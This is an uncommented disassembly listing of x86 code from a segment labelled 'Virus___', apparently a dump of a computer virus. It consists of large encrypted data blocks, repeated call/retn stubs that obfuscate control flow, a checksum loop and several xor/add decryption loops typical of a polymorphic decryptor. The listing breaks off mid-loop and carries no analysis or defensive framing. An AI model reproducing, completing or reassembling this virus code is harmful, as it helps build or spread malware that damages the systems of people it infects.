		dd 0BF0FC434h, 8B5F5BFFh, 1B2B218Dh, 5810F07h, 0BF000000h
		dd 1D73BC4Eh, 0F01E183h, 1F84h,	9DBD2B00h, 83071B12h, 1B2B21A5h
		dd 0BD8BFE07h, 71B0CD1h, 0E299589h, 0E9F8071Bh,	0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+71EFBFEh]
		push	0
		push	eax
		call	sub_583005
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583005	proc near		; CODE XREF: Virus___:00582FFDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_583005	endp

; ---------------------------------------------------------------------------
		db 0E1h, 9Bh, 11h
; ---------------------------------------------------------------------------
		stc
		imul	ebp, [ecx], 6A755381h
		add	[esi-7Fh], ah
		fild	word ptr [ebx-766A0093h]
		adc	bl, [ebx]
		pop	es
		jo	loc_583037
		or	ebx, [ebp+71B1475h]


loc_583037:				; CODE XREF: Virus___:0058302Bj
		mov	ecx, 8D3h
		push	0
		push	eax
		call	sub_583047
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583047	proc near		; CODE XREF: Virus___:0058303Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_583047	endp

; ---------------------------------------------------------------------------
		mov	esp, 8589784Eh
		shr	dword ptr [edx], 1
		sbb	eax, [edi]
		and	ecx, 0FFFFFFFCh
		cld
		push	0
		push	eax
		call	sub_58306F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58306F	proc near		; CODE XREF: Virus___:00583067p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_58306F	endp

; ---------------------------------------------------------------------------
		db 0CDh
		dd 66CDEDB0h, 0BF7C2ABFh, 44BFB9Fh, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8B6628EDh, 0BADFh, 9D2B0000h, 71B296Dh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 1C35040h, 0A995CEC2h,	9D234436h, 71B2329h
		dd 0FE9h, 0E94D6B00h, 0C6F964F7h, 88D4749Dh, 5D5B743Ah
		dd 880Dh, 94CF8100h, 8B6C0F4Eh,	1B29B595h, 6860F07h, 89000000h
		dd 1B03F1BDh, 0F58D8B07h, 6A071B02h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C5D2C357h
		dd 60ED9E28h, 61C3BF0Fh, 1EE9BD8Bh, 8B50071Bh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0F9C35545h,	474C76C9h, 28E0F95h
		dd 8B000000h, 0CE9D9h, 3B860000h, 1D4FBDBh, 46DC1F06h
		dd 6A76ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 957610C3h, 0F5216921h, 0BF0F5E57h, 0F88B66DEh
		dd 2165BD83h, 0F00071Bh, 6D84h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0B8983311h
		dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0AFCD3E35h, 119D2914h, 8D071B2Ah
		dd 1B4F898Dh, 8B66F507h, 0E9E1FFF8h, 12h, 8359B9F8h, 56A42D83h
		dd 0B3D25A05h, 752C8061h, 0BD8388A3h, 71B18CDh,	80840F00h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 6171C356h, 0C13A4FD6h,	0B1858966h
		dd 0E9071B0Bh, 0Bh, 8D19A2DFh, 2EA2F237h, 835F317Ah, 1B18CDBDh
		dd 840F0107h, 456h, 6850Fh, 0BD8B0000h,	71B16B1h, 18CDBD83h
		dd 0F03071Bh, 40786h, 0DAB70F00h, 8D0Fh, 0F600000h, 8C66DFBFh
		dd 51006AD9h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 6800F24h, 89000000h, 1B299D9Dh, 8A0F5707h
		dd 6, 0FB0FCB81h, 805B079Ch, 6A04E1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0B3A9D8C3h
		dd 0BE7E8C66h, 0FE8B6657h, 0FC90A5Bh, 10384h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 8DC33C50h, 0BF0FF149h, 0E5858BF8h, 0F5071B30h, 30558533h
		dd 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 40938FC3h, 89502E87h, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 6689B1C3h
		dd 6ADE8Bh, 68FFB70Fh, 49C4A058h, 0A7243481h, 6A49DBA3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0DA5C355h, 0D206CA5Ah, 5805087h, 4E995FFh
		dd 0E860071Bh, 6, 0A405A0EBh, 8166042Eh, 59D928C3h, 1C118503h
		dd 8961071Bh, 1EABC885h, 0E99D8B07h, 0E9071B29h, 231h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 65C35040h
		dd 4B3F7781h, 858924A4h, 71B27D9h, 0ABC0858Bh, 6A071Eh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0DAC72DC3h, 0BF6606CBh, 5B52E638h, 1800C7h, 0BD890000h
		dd 71B1869h, 0ABC4B58Bh, 6A071Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 14166AC3h, 0F632D109h
		dd 49858B15h, 9071B01h,	1B267585h, 6A068907h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 84CAC353h, 89340971h, 1B243DBDh, 0D59D8B07h,	8B071B22h
		dd 1B30E585h, 8E807h, 31820000h, 0C197EF77h, 9D89B5D9h
		dd 71B3169h, 58E0F5Bh, 66000000h, 0E26ECB81h, 6A044689h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0DEA9C355h, 35699D0Bh, 9D8B071Bh,	71B3501h
		dd 0F525096h, 28C0F31h,	57000000h, 50585A5Bh, 9E9h, 2F0D3800h
		dd 2F8B40E7h, 8B961095h, 0C0B5FFD8h, 0E9071EABh, 7, 0BD3C6A25h
		dd 0E826D72Fh, 4, 1F03FFh, 10E850h, 0A7C50000h,	9CF11F91h
		dd 9842249h, 9C58C8E1h,	5250D5E6h, 6B07BB66h, 12E9310Fh
		dd 0FD000000h, 0A735F3DFh, 641D2181h, 0DFCAAD6Fh, 0F81A3066h
		dd 5F585ADCh, 424448Bh,	0DF8B5250h, 8B66310Fh, 8B585AF9h
		dd 1CBF6600h, 24448976h, 0CE95004h, 0E1000000h,	5902C13Eh
		dd 0EEEB2706h, 5B073E2Fh, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 8017BF15h
		dd 858D17C2h, 71EABC8h,	0F99D8Bh, 0BF90071Bh, 683E0335h
		dd 0BD2B9050h, 71B00D1h, 0DF2DC781h, 95FF5CD3h,	71B04E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 79C35747h
		dd 350D8D89h, 0EE9071Bh, 63000000h, 0A287C417h,	0E44BFF71h
		dd 0D35CECBFh, 6A61B7h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 8CC5FEC3h, 66A12667h, 33B727D2h
		dd 1B1925BDh, 0CD85C707h, 3071B18h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 702CC356h, 0BC4D64CBh, 86238199h, 6860Fh, 0BD8B0000h
		dd 71B25BDh, 0ABC8BD83h, 0F00071Eh, 0F84h, 0D2BB6600h
		dd 21E910h, 9D010000h, 71B15A5h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 51DCC353h, 5FD8BF0Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D3C35242h
		dd 8B6607B1h, 0CDBD83F8h, 3071B18h, 444850Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0A57D25C3h, 3CFF8C3Dh, 83BEC560h, 1EABC8BDh,	840F0007h
		dd 412h, 1ED5BD8Bh, 0B5FF071Bh,	71EABC8h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 59C35242h, 0EA7D08E6h
		dd 0E3ABF9B3h, 13E9h, 0DCB16600h, 0E8935790h, 7338FA16h
		dd 0EB316Eh, 4341A007h,	233D9D8Bh, 95FF071Bh, 71B09A5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 63C35343h
		dd 6218CF86h, 0B25D74E4h, 34119589h, 0B58B071Bh, 71EABBCh
		dd 0D4C3EB81h, 0B5010C9Ch, 71B1B59h, 106C7h, 95010001h
		dd 71B298Dh, 0E8BCBF96h, 8B503A5Ah, 6A96FEh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 9D8BDFC3h
		dd 71B2E91h, 0ABC8B5FFh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0EFDF49C3h, 1381E92Fh
		dd 12E95Ch, 0B4E10000h
		dd 115BB830h, 11242739h, 44B6684Ch, 3E8CA6BAh, 356195FFh
		dd 8B66071Bh, 0BCB58BD9h, 0E9071EABh, 12h, 39CD7813h, 67A3BA6Bh
		dd 6BAB2107h, 886B377Ch, 858B381Bh, 71B0411h, 9059D8Bh
		dd 8689071Bh, 0C4h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 42C35747h, 8B660D41h,	0B5958BF9h, 66071B29h
		dd 8399E7BBh, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0EC1CFFC3h, 0F2BF4A0Bh, 0C38044BAh
		dd 205089E2h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	5EC35343h, 0F51DEFFh, 0E9C96D77h, 7, 0F930DBD2h
		dd 8D26A27Ah, 1EBFF985h, 8BD98B07h, 1B2A699Dh, 0B8868907h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0E306C353h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 22BCE0C3h
		dd 0B5FF24F9h, 71EABC8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 87C35343h, 83F4191Bh,	0F4346E2Ch, 68E0FBCh
		dd 81000000h, 0E43958D3h, 0DD95FF0Ah, 6A071B09h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0BE5AC353h, 2012AF5Bh, 0BD334350h, 71B117Dh,	50F98B96h
		dd 0E13BBB66h, 56006A96h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0D8B1AAF0h, 52B77EEEh
		dd 0ABC8B5FFh, 6A071Eh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 8DA54DC3h, 0DABF0F0Bh, 34195FFh
		dd 0CE8071Bh, 0B3000000h, 0EE2793C4h, 0D44CBDB3h, 29732D60h
		dd 1B04C1BDh, 0BD835F07h, 71B2431h, 5D840F00h, 8A000000h
		dd 890F96D8h, 19h, 11E8h, 0EB1C8C00h, 9BF6500Dh, 3C8384CCh
		dd 0CE08C104h, 0F88AE523h, 0CE9505Fh, 0FC000000h, 35F4BBC2h
		dd 0B77528F2h, 9615ABBBh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 58C35646h, 0BF66A4C0h, 0F781E46Eh, 1358CA35h
		dd 0ABC8B5FFh, 6A071Eh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0C6B190C3h, 840Fh, 95FF0000h, 71B18A5h
		dd 0FF10F380h, 1EABC8B5h, 0AD853107h, 0F5071B2Ch, 293D95FFh
		dd 7E8071Bh, 0E0000000h, 476F9EDAh, 335369DEh, 1B176D9Dh
		dd 835F5F07h, 1B28F1BDh, 840F0207h, 3Bh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 34C35343h, 353DBD8Bh
		dd 858B071Bh, 71B007Dh,	0C01BD2Bh, 9531071Bh, 71B1F0Dh
		dd 660000C6h, 0C71FC7BFh, 1B099185h, 7,	0D88B6600h, 12FD8529h
		dd 0ADE9071Bh, 51FFFFF2h, 0FD852951h, 5F071B1Eh, 8BC18B5Fh
		dd 1B0BB1BDh, 55858D07h, 6A071B12h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CCFEC350h
		dd 0E4047199h, 519D8BA6h, 50071B23h, 489D88Ah, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0CB81D885h, 5DA73A98h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 9539BFC3h, 0E103567Ah
		dd 8D006A82h, 1F8C4385h, 0ABBF6607h, 5C083F5h, 50FBBF0Fh
		dd 10E8h, 0E7575400h, 913EB178h, 0EB942670h, 78D6925h
		dd 0DE9A7h, 7F5C0000h, 0EA28D1BFh, 82A580B0h, 5BA2B923h
		dd 0F240489h, 6AD8BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 7C35242h, 0C88C9817h,	8965169Dh, 1B1C09BDh
		dd 66006A07h, 0A359E781h, 1EA995FFh, 6A071Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 2B10C9C3h
		dd 8B58353Ah, 1B03299Dh, 9C8D8D07h, 89071E97h, 1B24E5B5h
		dd 6AD1FF07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 33ECC353h, 6F6D1505h, 5BD83DCh
		dd 1071B21h, 0A3850Fh, 68BB0000h, 297AEC7Ch, 1B00B585h
		dd 6A026A07h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 536FC357h, 49BB908Bh, 507930C1h
		dd 0AE8h, 0AE150C00h, 0BD84161Ah, 661819A7h, 905FDE8Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 81C35747h
		dd 0EE05626Bh, 60B987E1h, 6FC78166h, 0A4DE8022h, 0DD95FF61h
		dd 6A071B09h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 8446C356h, 0A15F59EDh,	419BD89h
		dd 0B70F071Bh, 0F18E9DFh, 0E80000h, 5D000000h, 8C4DED81h
		dd 6A071Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0D6196C3h, 0C99D03DEh, 8B071B17h,	1B12059Dh
		dd 0AE807h, 1C6A0000h, 1487D669h, 3CBAFA88h, 30519D89h
		dd 8D5B071Bh, 1E920285h, 0FAB70F07h, 13E990h, 68920000h
		dd 1C77B88Ch, 84C67EE4h, 0D151686Dh, 1BC1C92Ah,	0B76050C3h
		dd 5A59B966h, 90610B52h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 29C35646h, 0FE8B1h, 0A830000h, 9A01E0EFh
		dd 6820FA6Eh, 0DEC7E4Ah, 32BB663Bh, 0FF645F10h,	35h, 645F5600h
		dd 2589h, 870F0000h, 0Bh, 0D68B6660h, 27A1BD89h, 0FF61071Bh
		dd 1B264D85h, 85BD0907h, 6A071B1Ah, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8BAFDC96h
		dd 1B28D99Dh, 89B5FF07h, 6A071B25h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A938C357h
		dd 0BD8B5753h, 71B0D19h, 4595FF5Bh, 0E9071B2Fh,	129h, 49858960h
		dd 81071B2Fh, 0FEE3FED7h, 0B0614Ch, 16899D8Bh, 70E6071Bh
		dd 59D8509h, 71E4071Bh,	0C119589h, 613C071Bh, 0FB830Fh
		dd 0CE90000h, 21000000h, 7B1C3C3Bh, 0ECC95FB1h,	0F2EEAC6h
		dd 0FF9C8B6h, 0C89h, 6810F00h, 29000000h, 1B27259Dh, 6BA07h
		dd 9D8B0000h, 71B2221h,	0BF0FC18Bh, 4E8C1FEh, 0A1B589F8h
		dd 66071B23h, 0BF0FE2F7h, 0E9C82BDAh, 0Fh, 28853519h, 0C5C9F65Eh
		dd 3F75201Dh, 8BB6AE79h, 31BD8BD1h, 0E9071B1Fh,	6, 13DBD8Bh
		dd 858B071Bh, 71B09C9h,	619D8BF5h, 83071B30h, 8C0F07C0h
		dd 6, 3271BD8Bh, 0CE9071Bh, 14000000h, 1D5EB118h, 0F80B2A8Bh
		dd 83D4F147h, 7E900C0h,	0F000000h, 0B73336BEh, 0D03BC819h
		dd 0B830Fh, 42E90000h, 89000000h, 1B2B41BDh, 918D8B07h
		dd 33071B0Ah, 1B160DBDh, 1E18307h, 27840Fh, 0B70F0000h
		dd 91A583FBh, 0FE071B0Ah, 1B4FBB66h, 499D0960h,	61071B11h
		dd 9C99589h, 0BD8B071Bh, 71B18D9h, 0E9h, 99B58D00h, 6A071F06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 157EC355h, 0B9188CC8h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CA0A14C3h
		dd 0E34262D6h, 0CE944h,	0AA8F0000h, 7D1E96B6h, 41F6C650h
		dd 95FF8879h, 71B1289h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 74C35343h, 635E5F90h
		dd 80C02D2h, 0CB816653h, 0D2B9F758h, 6A000007h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 1A85C353h, 1FCE6CBBh, 53198014h, 12B18509h, 0E183071Bh
		dd 53006AFCh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 139E763Bh, 6AFC6F53h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 1914C352h
		dd 0D5FD63FFh, 0B81B2B0Fh, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+71B144Dh]
		mov	edx, 0
		push	0
		push	esi
		call	sub_584136
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584136	proc near		; CODE XREF: Virus___:0058412Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_584136	endp

; ---------------------------------------------------------------------------
		sbb	esi, eax
		cmp	eax, 9A18572Fh
		mov	tr3, ecx


loc_584150:				; CODE XREF: Virus___:0058415Aj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_584150
		push	0
		push	esi
		call	sub_584167
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584167	proc near		; CODE XREF: Virus___:0058415Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi


loc_58416C:				; CODE XREF: Virus___:00584177j
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_584167	endp

; ---------------------------------------------------------------------------
		jbe	short loc_58416C
		and	ah, [eax-75h]
		mov	ebp, 71B15D9h
		sbb	ecx, 39D0A7FBh
		popa
		mov	[ebp+71B235Dh],	esi
		or	eax, 88h
		push	0
		push	edx
		call	sub_58419E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58419E	proc near		; CODE XREF: Virus___:00584196p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58419E	endp

; ---------------------------------------------------------------------------
		dw 3B73h
		dd 0F781F636h, 18F2BB35h, 29B5958Bh, 13E8071Bh,	0E2000000h
		dd 9D1F4D19h, 56116E93h, 0D1F01068h, 2004BDBBh,	60525B12h
		dd 8B5B5F61h, 1B02F58Dh, 0FE807h, 109D0000h, 9F95ACDFh
		dd 0E5FC40E2h, 68AA81EEh, 5F70B3F4h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 85095818h, 71B30E9h, 47A3F781h
		dd 0BD837DABh, 71B2165h, 6E840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 3C8C357h, 334E99F3h,	23CBB14Fh, 1B23819Dh, 0B807h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0CF1DFAC3h, 6FDBBF29h, 0F585FBAh, 0BF0FFEB7h, 898D8DD9h
		dd 8B071B4Fh, 1B09599Dh, 89E1FF07h, 1B19398Dh, 0CDBD8307h
		dd 71B18h, 48E840Fh, 85890000h,	71B00C5h, 18CDBD83h, 0F01071Bh
		dd 49684h, 58E0F00h, 0BF000000h, 555B17A9h, 18CDBD83h
		dd 0F03071Bh, 44886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 741FCBCh, 0E1BD8B6Bh
		dd 60071B21h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	55C35747h, 6E5AA921h, 0B509C8BAh, 71B213Dh, 0E8D98C66h
		dd 8, 46C2C98Dh, 0F5F0B421h, 6D9D8B57h,	5B071B0Dh, 4E1805Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 92C35747h
		dd 2DB2D020h, 624516BDh, 8B66A0B3h, 0FC90AFEh, 0FF84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8B33D49Dh, 1B30E585h, 8533F807h,	71B3055h
		dd 6840Fh, 0DF810000h, 7232C9E1h, 0F905090h, 689h, 0FDBD8B00h
		dd 6A071B24h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 9D8B9032h, 71B02EDh, 4E8h, 1F03FF00h
		dd 3941BB00h, 0BF5044E3h, 612B20FAh, 424448Bh, 820Fh, 8B0000h
		dd 9E8h, 77173C00h, 0E90BA105h,	0F605535h, 85h,	9E800h
		dd 583A0000h, 0CDEA0FEh, 5E5E9104h, 44895B61h, 0E8560424h
		dd 6, 5E8D7698h, 8B0FBA81h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	edi
		pop	eax
		mov	[ebp+71B3409h],	edi
		call	dword ptr [ebp+71B04E9h]
		mov	[ebp+71B0E25h],	ecx
		mov	[ebp+71EABC8h],	eax
		jg	loc_584459
		jns	loc_584459
		or	edi, 1AFBCA76h


loc_584459:				; CODE XREF: Virus___:00584447j
					; Virus___:0058444Dj
		jmp	loc_58465A
; ---------------------------------------------------------------------------
		sub	[ebp+71B298Dh],	esi
		mov	eax, [ebp+71EABC0h]
		push	0
		push	edx
		call	sub_584475
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584475	proc near		; CODE XREF: Virus___:0058446Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_584475	endp

; ---------------------------------------------------------------------------
		db 20h,	1Bh, 10h
		dd 0C7D17C6Dh, 1800h, 13E800h, 0A7470000h, 702F0003h, 85499974h
		dd 873CF4B4h, 2C72066Ah, 12E9CFh, 0B9B10000h, 0FC75F730h
		dd 2E55EDC8h, 6E88082Bh, 49BD9E78h, 0C4B58B5Fh,	6A071EABh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0C5F9C356h, 0EB4B44CDh, 2C99BD01h, 8166071Bh
		dd 8B8CBECBh, 1B014985h, 0B5853107h, 89071B09h,	0DBD3306h
		dd 8B071B28h, 1B30E585h, 319D8B07h, 89071B06h, 0E8960446h
		dd 8, 1BA6E3C4h, 0CFC0696Eh, 12860Fh, 0CE80000h, 0F2000000h
		dd 317A2EA2h, 4413495Fh, 5F63BF41h, 8B96505Bh, 0C0B5FFF8h
		dd 6A071EABh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0C2E3C356h, 0EFF9AFE8h, 4E819h
		dd 3FF0000h, 13E9001Fh,	5A000000h, 3AA3DFEDh, 60A666FDh
		dd 0B3FE3D8Fh, 6EF1214Dh, 53502867h, 11E9h, 7809AD00h
		dd 0F3992E73h, 0C3492FCFh, 54AC3008h, 8B5B88B6h, 8B042444h
		dd 60008BD9h, 66530BB3h, 59096EB9h, 24448961h, 4840F04h
		dd 66000000h, 583555BFh, 24619D8Bh, 858D071Bh, 71EABC8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 34C35242h
		dd 8B4D68E9h, 1B2A5DBDh, 52505007h, 0C8614BFh, 8B310F1Ch
		dd 89585AFAh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 427D9C3h, 95FFF8C2h, 71B04E9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 2FC35343h, 8957D6B9h
		dd 293B1CFCh, 49BD3153h, 0F071B0Eh
		db 0BFh, 0DBh
; ---------------------------------------------------------------------------


loc_58465A:				; CODE XREF: Virus___:loc_584459j
		popa
		push	0
		push	edi
		call	sub_584666
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584666	proc near		; CODE XREF: Virus___:0058465Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_584666	endp

; ---------------------------------------------------------------------------
		sbb	ebp, [eax+7Fh]
		sub	ebp, [ebx-4]
		pushaw
		mov	bx, si
		popa
		mov	dword ptr [ebp+71B18CDh], 3
		push	0
		push	eax
		call	sub_584697
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584697	proc near		; CODE XREF: Virus___:0058468Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_584697	endp

; ---------------------------------------------------------------------------
		db 0B6h
; ---------------------------------------------------------------------------
		mov	bl, 7Ch
		cmp	dword ptr [ebp+71EABC8h], 0
		jz	loc_584711
		push	0
		push	esi
		call	sub_5846C2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5846C2	proc near		; CODE XREF: Virus___:005846BAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5846C2	endp

; ---------------------------------------------------------------------------
		dw 982Ah
		dd 0F242229h, 686h, 719D2B00h, 0E9071B09h, 44h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D7C35242h, 94416B5Eh
		dd 29BC78ACh, 1B2B6185h
; ---------------------------------------------------------------------------
		pop	es


loc_584711:				; CODE XREF: Virus___:005846B1j
					; Virus___:00584728j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_584711
		jmp	short loc_584762
; ---------------------------------------------------------------------------


loc_58472C:				; CODE XREF: Virus___:00584743j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_58472C
		jmp	short loc_584762
; ---------------------------------------------------------------------------


loc_584747:				; CODE XREF: Virus___:0058475Ej
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
